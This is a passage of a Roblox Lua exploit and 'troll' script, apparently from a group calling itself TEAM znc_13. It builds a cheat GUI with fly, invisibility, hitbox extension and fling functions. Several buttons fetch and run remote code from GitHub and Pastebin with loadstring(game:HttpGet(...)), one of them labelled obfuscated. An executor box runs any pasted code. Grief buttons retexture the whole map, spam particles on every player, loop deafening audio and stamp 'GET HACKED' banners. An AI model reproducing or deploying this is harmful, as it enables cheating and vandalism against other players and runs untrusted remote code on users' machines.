bodyGyro.P = 1e4 bodyGyro.CFrame = CFrame.new(part.Position, root.Position) bodyGyro.Parent = part local bodyVel = Instance.new("BodyVelocity") bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5) bodyVel.P = 1e4 bodyVel.Parent = part local conn conn = RunService.Heartbeat:Connect(function(dt) if not root or not root.Parent then conn:Disconnect() return end angle += orbitSpeed * dt local orbitCenter = root.Position local orbitPoint = orbitCenter + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) local tangent = Vector3.new( -math.sin(angle), 0, math.cos(angle) ).Unit * orbitSpeed * radius bodyVel.Velocity = tangent bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter) part.Position = orbitPoint end) end warn("Orbiting", #orbitParts, "parts around you.") end, "Fun", "You have to be near the parts for a while for it to work") local function toggleInvisibility() if invisRunning then return end invisRunning = true local player = Players.LocalPlayer repeat task.wait(0.1) until player.Character local originalChar = player.Character originalChar.Archivable = true local invisibleChar = originalChar:Clone() invisibleChar.Name = "" invisibleChar.Parent = Lighting -- clone transparency for _, part in ipairs(invisibleChar:GetDescendants()) do if part:IsA("BasePart") then part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5 end end -- we’ll need these in nested functions: local isInvis = false local voidConn, deathConn, steppedConn -- Respawn helper (puts you back to originalChar) local function Respawn() invisRunning = false if steppedConn then steppedConn:Disconnect() end if deathConn then deathConn:Disconnect() end player.Character = originalChar originalChar.Parent = workspace -- destroy the extra humanoid local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid") if clonedHum then clonedHum:Destroy() end invisibleChar.Parent = nil end -- fix for falling through the void local voidY = workspace.FallenPartsDestroyHeight steppedConn = RunService.Stepped:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end local y = hrp.Position.Y if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then Respawn() end end) -- if cloned character dies local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid") deathConn = clonedHum.Died:Connect(Respawn) -- now swap them local camCF = workspace.CurrentCamera.CFrame local hrpCF = originalChar.HumanoidRootPart.CFrame originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0)) workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable task.wait(0.2) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom invisibleChar.Parent = workspace invisibleChar.HumanoidRootPart.CFrame = hrpCF player.Character = invisibleChar -- re‑enable animations for _, a in ipairs(player.Character:GetDescendants()) do if a.Name == "Animate" and a:IsA("Model") then a.Disabled = true; a.Disabled = false end end workspace.CurrentCamera:remove() wait(.1) repeat wait() until player.Character ~= nil workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" player.CameraMinZoomDistance = 0.5 player.CameraMaxZoomDistance = 400 player.CameraMode = "Classic" player.Character.Head.Anchored = false player.Character.Animate.Enabled = false player.Character.Animate.Enabled = true Notify("You are now invisible!", "System", 3) end FunctionManager:register( "Invisible", toggleInvisibility, "Fun", "Make your character invisible until you respawn or die" ) FunctionManager:register("Fly", function() if not HRP then warn("No HumanoidRootPart found; cannot fly.") return end flyingEnabled = not flyingEnabled if flyingEnabled then flyBG = Instance.new("BodyGyro") flyBG.P = 9e4 flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4) flyBG.CFrame = HRP.CFrame flyBG.Parent = HRP flyBV = Instance.new("BodyVelocity") flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4) flyBV.Velocity = Vector3.new(0, 0, 0) flyBV.Parent = HRP flyConn = RunService.Heartbeat:Connect(function() local camCFrame = workspace.CurrentCamera.CFrame local dir = Vector3.new() if UserInputService:IsKeyDown(Enum.KeyCode.W) then dir = dir + camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.S) then dir = dir - camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.A) then dir = dir - camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.D) then dir = dir + camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.Space) then dir = dir + Vector3.new(0, 1, 0) end if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then dir = dir - Vector3.new(0, 1, 0) end if dir.Magnitude > 0 then dir = dir.Unit * 50 end flyBV.Velocity = dir flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector) end) else if flyConn then flyConn:Disconnect() flyConn = nil end if flyBG then flyBG:Destroy() flyBG = nil end if flyBV then flyBV:Destroy() flyBV = nil end end end, "Movement", "Fly around!") FunctionManager:register("HatHub", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))() end, "Troll", "Credits to original maker!") FunctionManager:register("Hitbox Extender", function() loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))() end, "Troll", "Extends hitboxes") FunctionManager:register("Part Grab", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))() end, "Troll", "Much better part grab") FunctionManager:register("Hat Script", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))() end, "Troll", "HATS") FunctionManager:register("PART ORBIT", function() loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))() end, "Troll", "Probs better orbit") FunctionManager:register("chat unbanner", function() loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))() end, "Utility", "Credits to the original maker!") FunctionManager:register("Fling GUI", function() loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))() end, "Troll", "Credits to the original maker!") --init updateGrid() end) end; task.spawn(C_7); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_9() local script = G2L["9"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "TEAM znc_13 Fuks Roblox" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end) end; task.spawn(C_9); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_b() local script = G2L["b"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.MouseButton1Down:Connect(function() local function write(text,object) if object:IsA("Hint") == true then local count = object:FindFirstChild("Count") if count == nil then count = Instance.new("NumberValue") count.Parent = object count.Name = "Count" count.Value = count.Value + 1 else count.Value = count.Value + 1 end local startcount = count.Value for i = 1,#text do if count.Value == startcount then local letter = string.sub(text,i,i) object.Text = string.sub(text,1,i) wait(0.001) else break end end end end local bro = Instance.new("Hint",workspace) write("TEAM znc_13 JOIN TODAY!",bro) end) end) end; task.spawn(C_b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_d() local script = G2L["d"]; function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting s.SkyboxBk = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxDn = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxFt = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxLf = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxRt = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxUp = "http://www.roblox.com/asset/?id=103916363736246" game.Lighting.TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_d); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_f() local script = G2L["f"]; function click() local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=103916363736246" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=103916363736246" Two.Texture = "http://www.roblox.com/asset/?id=103916363736246" Three.Texture = "http://www.roblox.com/asset/?id=103916363736246" Four.Texture = "http://www.roblox.com/asset/?id=103916363736246" Five.Texture = "http://www.roblox.com/asset/?id=103916363736246" Six.Texture = "http://www.roblox.com/asset/?id=103916363736246" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_11() local script = G2L["11"]; ---by 777 plz dont6 leak script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) end; task.spawn(C_11); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_13() local script = G2L["13"]; script.Parent.MouseButton1Down:Connect(function() imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end end) end; task.spawn(C_13); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_15() local script = G2L["15"]; function click() Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_15); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_17() local script = G2L["17"]; script.Parent.MouseButton1Click:Connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text='GET HACKED MY TEAM znc_13 JOIN TODAY'; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1, 0.933333, 0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Fire Yellow'; a=Instance.new('PointLight',v); a.Color=Color3.new(1, 0.968627, 0); a.Range=15; a.Brightness=5; end; local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) end; task.spawn(C_17); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_19() local script = G2L["19"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_19); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1b() local script = G2L["1b"]; function click() function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=111604272791927" Two.Texture = "http://www.roblox.com/asset/?id=111604272791927" Three.Texture = "http://www.roblox.com/asset/?id=111604272791927" Four.Texture = "http://www.roblox.com/asset/?id=111604272791927" Five.Texture = "http://www.roblox.com/asset/?id=111604272791927" Six.Texture = "http://www.roblox.com/asset/?id=111604272791927" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = 